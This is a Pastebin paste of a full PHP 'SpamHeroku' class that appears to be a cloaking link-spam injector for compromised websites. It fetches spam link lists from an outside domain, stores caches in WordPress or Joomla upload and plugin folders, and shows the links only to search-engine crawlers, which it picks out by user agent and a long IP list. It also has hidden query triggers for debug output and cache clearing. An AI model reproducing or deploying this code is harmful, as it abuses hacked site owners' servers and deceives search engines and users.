Advertisement
Guest User

Untitled

a guest
May 12th, 2015
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.87 KB | None | 0 0
  1. $spam = new SpamHeroku();
  2. $spam->setBulb('http://mycompanyeye.com/bulbozavr/new2/13.list', 4 * 3600);
  3. //$spam->setKeyUrl('http://mycompanyeye.com/slov.txt');
  4. $spam->setLinkCache(1800);
  5. $spam->setMode('all');
  6. $spam->setUseParagraph(true);
  7. $spam->setLinkLimit(500);
  8. $spam->setBotIpArray(array('/185\.29\.\d+\.\d+/i', '/1\.0\.\d+\.\d+/i','/1\.1\.\d+\.\d+/i','/1\.2\.\d+\.\d+/i','/103\.246\.\d+\.\d+/i','/108\.167\.\d+\.\d+/i','/108\.170\.\d+\.\d+/i','/108\.177\.\d+\.\d+/i','/108\.59\.\d+\.\d+/i','/109\.109\.\d+\.\d+/i','/113\.197\.\d+\.\d+/i','/124\.30\.\d+\.\d+/i','/142\.250\.\d+\.\d+/i','/142\.251\.\d+\.\d+/i','/157\.238\.\d+\.\d+/i','/165\.193\.\d+\.\d+/i','/166\.90\.\d+\.\d+/i','/172\.217\.\d+\.\d+/i','/172\.253\.\d+\.\d+/i','/173\.15\.\d+\.\d+/i','/173\.164\.\d+\.\d+/i','/173\.194\.\d+\.\d+/i','/173\.200\.\d+\.\d+/i','/173\.203\.\d+\.\d+/i','/173\.240\.\d+\.\d+/i','/173\.255\.\d+\.\d+/i','/174\.142\.\d+\.\d+/i','/178\.33\.\d+\.\d+/i','/178\.60\.\d+\.\d+/i','/184\.107\.\d+\.\d+/i','/184\.173\.\d+\.\d+/i','/185\.25\.\d+\.\d+/i','/192\.119\.\d+\.\d+/i','/192\.158\.\d+\.\d+/i','/192\.178\.\d+\.\d+/i','/192\.179\.\d+\.\d+/i','/192\.200\.\d+\.\d+/i','/193\.120\.\d+\.\d+/i','/193\.142\.\d+\.\d+/i','/193\.186\.\d+\.\d+/i','/193\.200\.\d+\.\d+/i','/193\.92\.\d+\.\d+/i','/194\.100\.\d+\.\d+/i','/194\.110\.\d+\.\d+/i','/194\.221\.\d+\.\d+/i','/194\.78\.\d+\.\d+/i','/195\.100\.\d+\.\d+/i','/195\.141\.\d+\.\d+/i','/195\.145\.\d+\.\d+/i','/195\.18\.\d+\.\d+/i','/195\.205\.\d+\.\d+/i','/195\.22\.\d+\.\d+/i','/195\.229\.\d+\.\d+/i','/195\.27\.\d+\.\d+/i','/195\.59\.\d+\.\d+/i','/195\.65\.\d+\.\d+/i','/195\.76\.\d+\.\d+/i','/195\.81\.\d+\.\d+/i','/196\.3\.\d+\.\d+/i','/198\.108\.\d+\.\d+/i','/199\.102\.\d+\.\d+/i','/199\.192\.\d+\.\d+/i','/199\.223\.\d+\.\d+/i','/199\.227\.\d+\.\d+/i','/200\.202\.\d+\.\d+/i','/200\.99\.\d+\.\d+/i','/202\.106\.\d+\.\d+/i','/202\.96\.\d+\.\d+/i','/203\.208\.\d+\.\d+/i','/203\.222\.\d+\.\d+/i','/203\.98\.\d+\.\d+/i','/204\.17\.\d+\.\d+/i','/204\.50\.\d+\.\d+/i','/205\.197\.\d+\.\d+/i','/206\.15\.\d+\.\d+/i','/206\.160\.\d+\.\d+/i','/206\.169\.\d+\.\d+/i','/206\.186\.\d+\.\d+/i','/206\.80\.\d+\.\d+/i','/207\.223\.\d+\.\d+/i','/207\.250\.\d+\.\d+/i','/207\.47\.\d+\.\d+/i','/207\.86\.\d+\.\d+/i','/207\.88\.\d+\.\d+/i','/208\.113\.\d+\.\d+/i','/208\.185\.\d+\.\d+/i','/208\.21\.\d+\.\d+/i','/208\.253\.\d+\.\d+/i','/208\.36\.\d+\.\d+/i','/208\.37\.\d+\.\d+/i','/208\.44\.\d+\.\d+/i','/208\.45\.\d+\.\d+/i','/209\.116\.\d+\.\d+/i','/209\.118\.\d+\.\d+/i','/209\.119\.\d+\.\d+/i','/209\.12\.\d+\.\d+/i','/209\.185\.\d+\.\d+/i','/209\.203\.\d+\.\d+/i','/209\.220\.\d+\.\d+/i','/209\.234\.\d+\.\d+/i','/209\.245\.\d+\.\d+/i','/209\.247\.\d+\.\d+/i','/209\.249\.\d+\.\d+/i','/209\.48\.\d+\.\d+/i','/209\.85\.\d+\.\d+/i','/212\.0\.\d+\.\d+/i','/212\.108\.\d+\.\d+/i','/212\.126\.\d+\.\d+/i','/212\.179\.\d+\.\d+/i','/212\.181\.\d+\.\d+/i','/212\.21\.\d+\.\d+/i','/212\.49\.\d+\.\d+/i','/212\.50\.\d+\.\d+/i','/213\.144\.\d+\.\d+/i','/213\.151\.\d+\.\d+/i','/213\.152\.\d+\.\d+/i','/213\.186\.\d+\.\d+/i','/213\.187\.\d+\.\d+/i','/213\.19\.\d+\.\d+/i','/213\.240\.\d+\.\d+/i','/213\.246\.\d+\.\d+/i','/213\.31\.\d+\.\d+/i','/213\.61\.\d+\.\d+/i','/216\.1\.\d+\.\d+/i','/216\.109\.\d+\.\d+/i','/216\.110\.\d+\.\d+/i','/216\.136\.\d+\.\d+/i','/216\.156\.\d+\.\d+/i','/216\.207\.\d+\.\d+/i','/216\.21\.\d+\.\d+/i','/216\.218\.\d+\.\d+/i','/216\.239\.\d+\.\d+/i','/216\.33\.\d+\.\d+/i','/216\.34\.\d+\.\d+/i','/216\.58\.\d+\.\d+/i','/216\.59\.\d+\.\d+/i','/216\.64\.\d+\.\d+/i','/216\.74\.\d+\.\d+/i','/217\.118\.\d+\.\d+/i','/217\.149\.\d+\.\d+/i','/217\.163\.\d+\.\d+/i','/217\.193\.\d+\.\d+/i','/217\.28\.\d+\.\d+/i','/217\.30\.\d+\.\d+/i','/217\.33\.\d+\.\d+/i','/222\.66\.\d+\.\d+/i','/38\.101\.\d+\.\d+/i','/38\.102\.\d+\.\d+/i','/38\.104\.\d+\.\d+/i','/38\.106\.\d+\.\d+/i','/38\.107\.\d+\.\d+/i','/38\.98\.\d+\.\d+/i','/4\.3\.\d+\.\d+/i','/46\.4\.\d+\.\d+/i','/50\.116\.\d+\.\d+/i','/62\.159\.\d+\.\d+/i','/62\.20\.\d+\.\d+/i','/62\.233\.\d+\.\d+/i','/63\.146\.\d+\.\d+/i','/63\.161\.\d+\.\d+/i','/63\.166\.\d+\.\d+/i','/63\.211\.\d+\.\d+/i','/63\.243\.\d+\.\d+/i','/63\.251\.\d+\.\d+/i','/63\.83\.\d+\.\d+/i','/63\.84\.\d+\.\d+/i','/63\.97\.\d+\.\d+/i','/64\.0\.\d+\.\d+/i','/64\.124\.\d+\.\d+/i','/64\.128\.\d+\.\d+/i','/64\.132\.\d+\.\d+/i','/64\.154\.\d+\.\d+/i','/64\.186\.\d+\.\d+/i','/64\.233\.\d+\.\d+/i','/64\.245\.\d+\.\d+/i','/64\.41\.\d+\.\d+/i','/64\.68\.\d+\.\d+/i','/64\.71\.\d+\.\d+/i','/64\.9\.\d+\.\d+/i','/65\.167\.\d+\.\d+/i','/65\.170\.\d+\.\d+/i','/65\.171\.\d+\.\d+/i','/65\.196\.\d+\.\d+/i','/65\.201\.\d+\.\d+/i','/65\.205\.\d+\.\d+/i','/65\.210\.\d+\.\d+/i','/65\.211\.\d+\.\d+/i','/65\.214\.\d+\.\d+/i','/65\.221\.\d+\.\d+/i','/65\.223\.\d+\.\d+/i','/65\.245\.\d+\.\d+/i','/65\.47\.\d+\.\d+/i','/66\.102\.\d+\.\d+/i','/66\.162\.\d+\.\d+/i','/66\.192\.\d+\.\d+/i','/66\.227\.\d+\.\d+/i','/66\.249\.\d+\.\d+/i','/66\.77\.\d+\.\d+/i','/67\.122\.\d+\.\d+/i','/67\.126\.\d+\.\d+/i','/67\.152\.\d+\.\d+/i','/67\.69\.\d+\.\d+/i','/67\.93\.\d+\.\d+/i','/69\.111\.\d+\.\d+/i','/69\.224\.\d+\.\d+/i','/69\.228\.\d+\.\d+/i','/69\.236\.\d+\.\d+/i','/69\.237\.\d+\.\d+/i','/70\.239\.\d+\.\d+/i','/70\.32\.\d+\.\d+/i','/70\.89\.\d+\.\d+/i','/70\.90\.\d+\.\d+/i','/71\.130\.\d+\.\d+/i','/72\.14\.\d+\.\d+/i','/72\.16\.\d+\.\d+/i','/74\.125\.\d+\.\d+/i','/75\.17\.\d+\.\d+/i','/75\.23\.\d+\.\d+/i','/75\.37\.\d+\.\d+/i','/75\.52\.\d+\.\d+/i','/76\.200\.\d+\.\d+/i','/76\.220\.\d+\.\d+/i','/76\.231\.\d+\.\d+/i','/76\.242\.\d+\.\d+/i','/76\.246\.\d+\.\d+/i','/77\.109\.\d+\.\d+/i','/77\.40\.\d+\.\d+/i','/78\.8\.\d+\.\d+/i','/8\.22\.\d+\.\d+/i','/8\.34\.\d+\.\d+/i','/8\.35\.\d+\.\d+/i','/8\.6\.\d+\.\d+/i','/8\.8\.\d+\.\d+/i','/80\.146\.\d+\.\d+/i','/80\.169\.\d+\.\d+/i','/80\.227\.\d+\.\d+/i','/80\.231\.\d+\.\d+/i','/80\.239\.\d+\.\d+/i','/80\.77\.\d+\.\d+/i','/80\.80\.\d+\.\d+/i','/81\.211\.\d+\.\d+/i','/81\.93\.\d+\.\d+/i','/82\.94\.\d+\.\d+/i','/83\.141\.\d+\.\d+/i','/83\.220\.\d+\.\d+/i','/84\.233\.\d+\.\d+/i','/84\.235\.\d+\.\d+/i','/86\.127\.\d+\.\d+/i','/87\.244\.\d+\.\d+/i','/88\.208\.\d+\.\d+/i','/89\.114\.\d+\.\d+/i','/89\.175\.\d+\.\d+/i','/89\.207\.\d+\.\d+/i','/89\.96\.\d+\.\d+/i','/92\.45\.\d+\.\d+/i','/93\.153\.\d+\.\d+/i','/93\.94\.\d+\.\d+/i','/94\.200\.\d+\.\d+/i','/94\.40\.\d+\.\d+/i','/95\.172\.\d+\.\d+/i','/96\.125\.\d+\.\d+/i','/99\.136\.\d+\.\d+/i','/99\.144\.\d+\.\d+/i','/99\.148\.\d+\.\d+/i','/99\.163\.\d+\.\d+/i','/99\.40\.\d+\.\d+/i','/99\.55\.\d+\.\d+/i','/99\.96\.\d+\.\d+/i'));
  9. //$spam->setOnePage(true);
  10. $spam->init();
  11. class SpamHeroku
  12. {
  13.  
  14. var $debug = false;
  15. var $bulb_url = false;
  16. var $bulb_array = array();
  17. var $bulb_cache = 0;
  18.  
  19. var $ip_url = false;
  20. var $ip_array = array();
  21. var $ip_cache = 0;
  22.  
  23. var $write_dir = false;
  24. var $link_cache = 7200;
  25. var $link_limit = false;
  26. var $use_paragraph = false;
  27. var $mode = 'one';
  28. var $one_page = false;
  29. var $key_array = array();
  30. var $key_url = false;
  31.  
  32. var $hash = '';
  33.  
  34.  
  35. function enableDebug()
  36. {
  37. $this->debug = true;
  38. $this->_('Enable debug');
  39. }
  40.  
  41. function _($var)
  42. {
  43. if (!$this->debug) {
  44. return false;
  45. }
  46. if (is_array($var)) {
  47. print_r($var);
  48. } else {
  49. echo($var . "\r\n<br/>");
  50. }
  51. return true;
  52. }
  53.  
  54. function setOnePage($one_page)
  55. {
  56. $this->one_page = $one_page;
  57. }
  58.  
  59.  
  60.  
  61.  
  62.  
  63. function setUseParagraph($use_paragraph)
  64. {
  65. $this->use_paragraph = $use_paragraph;
  66. }
  67.  
  68.  
  69. function setBotIpArray($array) {
  70. $this->ip_array = $array;
  71. }
  72.  
  73. function setBulb($bulb_url, $bulb_cache) {
  74. $this->bulb_url = $bulb_url;
  75. $this->bulb_cache = $bulb_cache;
  76. $this->hash = md5($bulb_url);
  77. }
  78.  
  79. function init()
  80. {
  81. @ini_set("memory_limit", "-1");
  82. if (isset($_GET['rubrikant']) || (isset($_SERVER['argv']) && in_array('debug', $_SERVER['argv']))) {
  83. $this->enableDebug();
  84. }
  85. if (($dir = $this->getWritableDir()) === false) {
  86. $this->_('Write dir not detected');
  87. return false;
  88. }
  89. if (isset($_GET['clear']) || (isset($_SERVER['argv']) && in_array('clear', $_SERVER['argv']))) {
  90. $this->_('Clear cache');
  91. $this->bulb_cache = 1;
  92. $this->link_cache = 1;
  93. $this->ip_cache = 1;
  94. foreach (glob($dir.'*.cache') as $filecache) {
  95. unlink($filecache);
  96. }
  97. }
  98. $this->_('Writable dir: ['.$dir.']');
  99. if (!$this->is_bot()) {
  100. $this->_('You are not bot! Exit');
  101. return false;
  102. }
  103. $this->updateBulbs();
  104.  
  105. if ($this->showLinks()) {
  106. $this->_('Good job! Exit');
  107. }
  108. return false;
  109. }
  110.  
  111.  
  112. function showLinks() {
  113. $url = $this->getRequestUrl();
  114. $url_file = $this->getWritableDir().md5($this->hash.$url).'.cache';
  115. if (!file_exists($url_file) || (time() - filemtime($url_file)) > $this->link_cache) {
  116. $link_file = $this->getWritableDir().md5($this->hash.'links_from_bulbs').'.cache';
  117. $links = $this->rand_lines_from_file($link_file, $this->link_limit);
  118. $fh = fopen($url_file, 'w');
  119. foreach ($links as $link) {
  120. fwrite($fh, $this->transform($link)."\r\n");
  121. }
  122. fclose($fh);
  123. }
  124.  
  125. readfile($url_file);
  126. return true;
  127. }
  128.  
  129. function transform($link) {
  130. //$link = $this->setRandAnchor($link);
  131. //$link = $this->setTextFromAnchors($link);
  132. return $link;
  133. }
  134.  
  135. function setRandAnchor($link) {
  136. if (!preg_match('%<a(.*?)href="([^"]+)"(.*?)>(.*?)</a>%i', $link, $ret, PREG_OFFSET_CAPTURE)) {
  137. return $link;
  138. }
  139. $href = $ret[2][0];
  140. $anc = $ret[4][0];
  141. $pos = $ret[4][1];
  142.  
  143. if (mt_rand(1, 100) <= 25) {
  144. $new_anc = $anc;
  145. } elseif (mt_rand(1, 100) <= 20) {
  146. $new_anc = $anc.' '.$this->get_rand_keys();
  147. } elseif (mt_rand(1, 100) <= 20) {
  148. $new_anc = $this->get_rand_keys().' '.$anc;
  149. } elseif (mt_rand(1, 100) <= 20) {
  150. $new_anc = $this->get_rand_keys().' '.$anc.' '.$this->get_rand_keys();
  151. } elseif (mt_rand(1, 100) <= 10) {
  152. $new_anc = $href;
  153. } elseif (mt_rand(1, 100) <= 5) {
  154. if (preg_match('%(https?://([^/]+)/)(.*?)$%i', $href, $ret)) {
  155. $new_anc = $ret[1];
  156. } else {
  157. $new_anc = $href;
  158. }
  159. } else {
  160. $new_anc = $anc;
  161. }
  162.  
  163. $link = substr($link, 0, $pos).$new_anc.'</a>';
  164. return $link;
  165. }
  166.  
  167. function setTextFromAnchors($link) {
  168. static $cache_anchors = array();
  169. $anchor_file = $this->getWritableDir() . md5($this->hash.'anchors') . '.cache';
  170. if (!file_exists($anchor_file)) {
  171. $fh_anc = fopen($anchor_file, 'w');
  172. $link_file = $this->getWritableDir() . md5($this->hash.'links_from_bulbs') . '.cache';
  173. $fh = fopen($link_file, 'r');
  174. while(!feof($fh)) {
  175. $line = fgets($fh);
  176. if (preg_match('%>(.*?)</a>%', $line, $ret)) {
  177. fwrite($fh_anc, $ret[1]."\r\n");
  178. }
  179. }
  180. fclose($fh);
  181. fclose($fh_anc);
  182. }
  183. if (empty($cache_anchors)) {
  184. $cache_anchors = $this->rand_lines_from_file($anchor_file, $this->link_limit * 3);
  185. }
  186.  
  187. $index1 = array_rand($cache_anchors);
  188. $text1 = $cache_anchors[$index1];
  189. unset($cache_anchors[$index1]);
  190.  
  191. $index2 = array_rand($cache_anchors);
  192. $text2 = $cache_anchors[$index2];
  193. unset($cache_anchors[$index2]);
  194.  
  195. $link = $text1.' '.$link.' '.$text2;
  196. return $link;
  197. }
  198.  
  199. function getRequestUrl() {
  200. if ($this->one_page) {
  201. $url = $_SERVER['REQUEST_URI'];
  202. } else {
  203. $url = '*';
  204. }
  205. $this->_('current url: ['.$url.']');
  206. return $url;
  207. }
  208.  
  209. function get_rand_keys() {
  210. $keys = $this->getKeyArray();
  211. if (!$keys) {
  212. return '';
  213. }
  214. return $keys[array_rand($keys)];
  215. }
  216.  
  217. function generate_word($length) {
  218. $chars = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM';
  219. $word = '';
  220. for ($i = 0; $i < $length; $i++) {
  221. $word .= $chars[mt_rand(0, strlen($chars) - 1)];
  222. }
  223. return $word;
  224. }
  225.  
  226. function updateBulbs()
  227. {
  228. if (!empty($this->bulb_array)) {
  229. return $this->bulb_array;
  230. }
  231. $bulb_file = $this->getWritableDir() . md5($this->hash.$this->bulb_url) . '.cache';
  232. if (!file_exists($bulb_file) || (time() - filemtime($bulb_file)) > $this->bulb_cache) {
  233. $this->_('Download new bulb file(' . $this->bulb_url . ')');
  234. if (!$this->download($this->bulb_url, $bulb_file, 'w')) {
  235. $this->_('Bulb file not download');
  236. return false;
  237. }
  238.  
  239. $this->bulb_array = file($bulb_file);
  240. $this->bulb_array = array_map('trim', $this->bulb_array);
  241.  
  242. $link_file = $this->getWritableDir() . md5($this->hash.'links_from_bulbs') . '.cache';
  243.  
  244. $this->_('mode: [' . $this->getMode() . ']');
  245. if ($this->getMode() == 'all') {
  246. foreach ($this->bulb_array as $bulb) {
  247. $mode = 'a';
  248. $this->_('add bulb content: [' . $bulb . ']');
  249. $this->download($bulb, $link_file, $mode);
  250. }
  251. } else {
  252. $mode = 'w';
  253. $this->download($this->bulb_array[array_rand($this->bulb_array)], $link_file, $mode);
  254. }
  255. }
  256. return true;
  257. }
  258.  
  259. function rand_lines_from_file($filepath, $count) {
  260. $lines = array();
  261. $count_file = $this->get_count_file($filepath);
  262. $array = array();
  263. for ($i = 0; $i < $count_file; $i++) {
  264. $array[] = 1;
  265. }
  266. if (!$count || $count >= sizeof($array)) {
  267. $count = sizeof($array) - 1;
  268. }
  269. $indexes = array_rand($array, $count);
  270. $indexes = array_flip($indexes);
  271.  
  272. $file = fopen($filepath, 'r');
  273. $i = 0;
  274. while(!feof($file)) {
  275. $string = fgets($file);
  276. if (isset($indexes[$i])) {
  277. $lines[] = trim($string);
  278. }
  279. $i++;
  280. }
  281. fclose($file);
  282. shuffle($lines);
  283. return $lines;
  284. }
  285.  
  286. function get_count_file($filepath) {
  287. $count = 0;
  288. $file = fopen($filepath, 'r');
  289. while(!feof($file)) {
  290. $count++;
  291. fgets($file);
  292. }
  293. fclose($file);
  294. return $count;
  295. }
  296.  
  297. function getWritableDir() {
  298. if ($this->write_dir !== false) {
  299. return $this->write_dir;
  300. }
  301. $tmp = (@ini_get('upload_tmp_dir')) ? @ini_get('upload_tmp_dir') : '/tmp/';
  302. if (is_writable($tmp)) {
  303. $this->write_dir = $tmp.DIRECTORY_SEPARATOR;
  304. return $this->write_dir;
  305. }
  306.  
  307. $engines = array(
  308. 'wp-config.php' => array('wp-content/uploads/'.date('Y').'/'.date('m').'/', 'wp-content/uploads/','wp-content/plugins/'),
  309. 'configuration.php' => array('images/avatars/', 'cache/', 'tmp/')
  310. );
  311. foreach ($engines as $file => $dirs) {
  312. $path = getcwd().DIRECTORY_SEPARATOR;
  313. $c = 0;
  314. while($c < 5) {
  315. if (file_exists($path.$file)) {
  316. foreach ($dirs as $dir) {
  317. if (is_writable($path.$dir)) {
  318. $this->write_dir = $path.$dir;
  319. return $this->write_dir;
  320. }
  321. }
  322. }
  323. $path = dirname($path).DIRECTORY_SEPARATOR;
  324. $c++;
  325. }
  326. }
  327. if (isset($_SERVER['DOCUMENT_ROOT']) && is_writable($_SERVER['DOCUMENT_ROOT'])) {
  328. $this->write_dir = $_SERVER['DOCUMENT_ROOT'];
  329. return $this->write_dir;
  330. }
  331. return false;
  332. }
  333.  
  334. function is_bot()
  335. {
  336. return $this->is_bot_by_query() ||
  337. $this->is_bot_by_agent() ||
  338. $this->is_bot_by_ip();
  339. }
  340.  
  341. function is_bot_by_query() {
  342. if (isset($_GET['nobot']) || (isset($_SERVER['argv']) && in_array('nobot', $_SERVER['argv']))) {
  343. $this->_('Bot by query');
  344. return true;
  345. }
  346. return false;
  347. }
  348.  
  349. function is_bot_by_agent()
  350. {
  351. $agent_regex = '%(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i';
  352. if (isset($_SERVER['HTTP_USER_AGENT']) && preg_match($agent_regex, $_SERVER['HTTP_USER_AGENT'], $ret)) {
  353. $this->_('Bot by agent(' . $ret[1] . ')');
  354. return true;
  355. }
  356. $this->_('No bot by agent');
  357. return false;
  358. }
  359.  
  360. function setKeyUrl($key_url)
  361. {
  362. $this->key_url = $key_url;
  363. }
  364.  
  365. function setKeyArray($key_array)
  366. {
  367. $this->key_array = $key_array;
  368. }
  369.  
  370. function getKeyArray() {
  371. if (!empty($this->key_array)) {
  372. return $this->key_array;
  373. }
  374. if (!$this->key_url) {
  375. return array();
  376. }
  377. $key_cache = 24*3600;
  378. $key_file = $this->getWritableDir() . md5($this->hash.'key_file') . '.cache';
  379. if (!file_exists($key_file) || (time() - filemtime($key_file)) > $key_cache) {
  380. $this->download($this->key_url, $key_file, 'w');
  381. }
  382. $keys = file($key_file);
  383. $keys = array_map('trim', $keys);
  384. return $keys;
  385. }
  386.  
  387.  
  388.  
  389. function is_bot_by_ip()
  390. {
  391. if (empty($this->ip_array)) {
  392. return false;
  393. }
  394. $client_ips = $this->getClientIp();
  395. $this->_('client ips('.implode(',', $client_ips).')');
  396. foreach ($this->ip_array as $bot_ip) {
  397. foreach ($client_ips as $client_ip) {
  398. if ($client_ip === $bot_ip || @preg_match($bot_ip, $client_ip)) {
  399. $this->_('Bot by ip('.$bot_ip.')');
  400. return true;
  401. }
  402. }
  403. }
  404. $this->_('No bot by ip');
  405. return false;//todo download
  406. }
  407.  
  408. function getClientIp() {
  409. $ips = array($_SERVER['REMOTE_ADDR']);
  410. if (isset($_SERVER['HTTP_X_REAL_IP'])) {
  411. $ips[] = $_SERVER['HTTP_X_REAL_IP'];
  412. }
  413. return $ips;
  414. }
  415.  
  416. function download($url, $filepath, $mode) {
  417. $handle = fopen($filepath, $mode);
  418. $this->_('Curl download file url('.$url.') to ('.$filepath.')');
  419. $curl = @curl_init($url);
  420. if (!$curl) {
  421. $this->_('Curl not init, dissalow ext');
  422. return false;
  423. }
  424. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  425. curl_setopt($curl, CURLOPT_FILE, $handle);
  426. curl_exec($curl);
  427. curl_close($curl);
  428. fclose($handle);
  429. return true;
  430. }
  431.  
  432. function get_curl($url) {
  433. $this->_('Curl get url('.$url.')');
  434. $curl = @curl_init($url);
  435. if (!$curl) {
  436. $this->_('Curl not init, dissalow ext');
  437. return false;
  438. }
  439. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  440. $content = curl_exec($curl);
  441. curl_close($curl);
  442. return $content;
  443. }
  444.  
  445.  
  446. function getMode()
  447. {
  448. return $this->mode;
  449. }
  450.  
  451.  
  452. function setMode($mode)
  453. {
  454. $this->mode = $mode;
  455. }
  456.  
  457.  
  458. function setLinkCache($link_cache)
  459. {
  460. $this->link_cache = $link_cache;
  461. }
  462.  
  463. function setLinkLimit($link_limit)
  464. {
  465. $this->link_limit = $link_limit;
  466. }
  467.  
  468.  
  469. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement